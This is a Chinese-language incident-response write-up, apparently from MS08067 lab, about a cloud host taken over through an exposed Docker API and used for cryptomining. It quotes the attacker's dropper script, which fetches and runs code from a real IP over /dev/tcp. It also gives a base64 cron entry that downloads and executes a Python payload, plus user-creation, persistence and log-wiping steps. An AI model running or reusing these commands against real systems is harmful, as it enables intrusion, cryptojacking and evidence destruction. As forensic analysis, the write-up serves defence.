9

一次悲惨的被挖矿经历

 3 years ago
source link: https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg%3D%3D&%3Bmid=2247491760&%3Bidx=1&%3Bsn=4a234e0134cb9789487472416605a89f
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

出品|MS08067实验室(www.ms08067.com)

本文作者: 500 (Ms08067实验室成员)

500微信(欢迎骚扰交流):

YVjeamz.jpg!mobile

一、事件起因

上周想着部署一个分布式文件系统,我就在阿里云上申请了一台机器,部署了 docker 并安装 Simpledfs ,可不想刚云主机刚配置没两天,就发现机器的 cpu 使用率飙升,控制台各种告警。 登录上去先看 top 一下看看系统的状况,发现这个 bash 脚本几乎占用了全部 cup ,估计是被黑了。

6nueuaR.png!mobile

我赶紧去查看机器历史操作,通过 history 命令查看历史操作,发现内容已经被清空,日志文件也全部被清空,并且docker服务也被关闭了。

经过排查发现,这台机器开放了ssh服务22端口、本地smtp25端口、sshd守护进程222端口,以及docker服务的端口。对外暴露了ssh,第一个想到的就是先查看一下ssh的版本。

查看该版本中有哪些漏洞可能被攻击者利用,排查了可能被利用的OpenSSH 安全认证绕过漏洞(CVE-2016-10012)、SSH登陆验证绕过漏洞(cve-2018-10933)等漏洞的利用方法,但并没有发现可直接利用并获取到root权限的方法。

那么攻击者有没有可能利用docker的漏洞,然后从容器中逃逸出来呢? 时我想到了docker remote API未授权访问漏洞,攻击者可以利用docker API 2375端口,通过接口执行容器命令。然后将/root/.ssh目录挂载到容器内,进而把ssh公钥写入进去,修改权限为600,然后就可以以root用户登录了。

参考 http://blog.nsfocus.net/docker-remote-api-unauthorized-access-vulnerability/

二、我们来看看攻击者做了哪些操作

1、攻击者创建了一个新的账号,查看

/etc/passwd文件,发现新增了一个用户tech,创建的时间是22:12

tech:x:1000:1000::/home/tech:/bin/bash

2、攻击者将tech用户加入到wheel组,并且修改了/etc/sudoers文件。(这个文件的权限被篡改过,应该是先加上了写权限,篡改完成后又改回了440权限,并配置了wheel组用户使用sudo到root时不需要输入密码。)

vYF3ayu.png!mobile

3、随后攻击者下载了工具集busybox,被阿里云侦测到。

iq2Mfm7.png!mobile

4 攻击者将根目录换成指定的目录,

chroot /mnt /bin/sh -c cd /opt/

并写入 z.sh,

echo '#!/bin/bash' > z.sh
echo 'read proto server path<<<$(echo ${1//// })' >> z.sh
echo 'exec3<>/dev/tcp/42.51.64.146/443' >> z.sh
echo 'echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3' >> z.sh
echo '(while read line; do' >> z.sh
echo '[[ "$line" ==$'\''\r'"'"' ]] && break' >> z.sh
echo 'done && cat) <&3'>> z.sh
echo 'exec 3>&-' >> z.sh
bash z.sh zz.sh > zz.sh ; bash zz.sh
rm -rf zz.sh

其中里面包含了一个ip地址,威胁情报信息如下:

mQruQnI.png!mobile

在系统的opt目录下,果然存在z.sh

#!/bin/bash
read proto server path <<<$(echo${1//// })
exec 3<>/dev/tcp/42.51.64.146/443
echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] &&break
done && cat) <&3
exec 3>&-

5、攻击者尝试写入后门程序,进行权限维持/usr/sbin/stable 但阿里云盾拦截了该后门程序。

MN7Nfuf.png!mobile

6、22点14分至22点47分这段时间,攻击者kill掉了阿里云盾的防护,并下载挖矿程序。 这个过程由于阿里云盾下线,日志被清理。 未获取到更多信息。

7 、随后,攻击者下载了挖矿程序并进行了安装。在 /root/.ssh 中出现了 xmrig和config.json文件,时 间是 22 49

Xmirg 是一款比特币挖矿软件,可以通过匹配到的矿池内容修改相应的 config.json 文件。

参考

https://www.dxpool.com/help/zh/kva-mining-tutorial

EjMBV3U.png!mobile

8 、在 usr/bin 中发现了运行着的 bash 脚本,应该是运行全套挖矿程序的脚步程序。

IZvq6f6.png!mobile

查看下 Bash 脚本的运行状态以及网络连接情况

mmaMVjb.png!mobile

VrIBZnr.png!mobile

Qza2miY.png!mobile

9 至此攻击者 还不满足, 他还替换了计划任务文件,设置挖矿的计划任务。

修改了 /etc/ssh/sshd_config、 /etc/cron.d、 /etc/cron.hourly 等计划任务文件。

/var/spool/cron/root 中的内容如下:

*/2 * * * * pkill tail >/dev/null2>&1
*/2 * * * * pkill masscan >/dev/null2>&1
# https://anonpasta.rocks/raw/atucewakep
# 205.185.113.151\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExMy4xNTEvZC5weSIpLnJlYWQoKSkn(比特币钱包地址)

zeY3Yrq.png!mobile

2U3yeaf.png!mobile

10 、最后,攻击者将系统的日志文件全部删除,包括

/var/log/cron /var/log/secure /var/log/messages /var/log/maillog /var/log/spooler 等。

三、总结

随着数字货币价格的上涨,越来越多的攻击者开始利用系统漏洞进行挖矿,攻击者操作老练,思路清晰,一看就是做过多年的老手了。

大家要加强安全意识,不要将危险端口暴露在公网,及时更新系统组件,并升级安全补丁。

花絮:下面的视频请大家帮忙关注点赞,以获取微信定制红包封皮发给大家!谢谢!

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

3UZfyuE.png!mobileJr2mIn6.png!mobile

jyyqeay.png!mobileF3amEvZ.png!mobile

riyQfyz.jpg!mobileiq6ZneA.png!mobile

目前35000+人已关注加入我们

JrqqYnb.gif!mobile

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK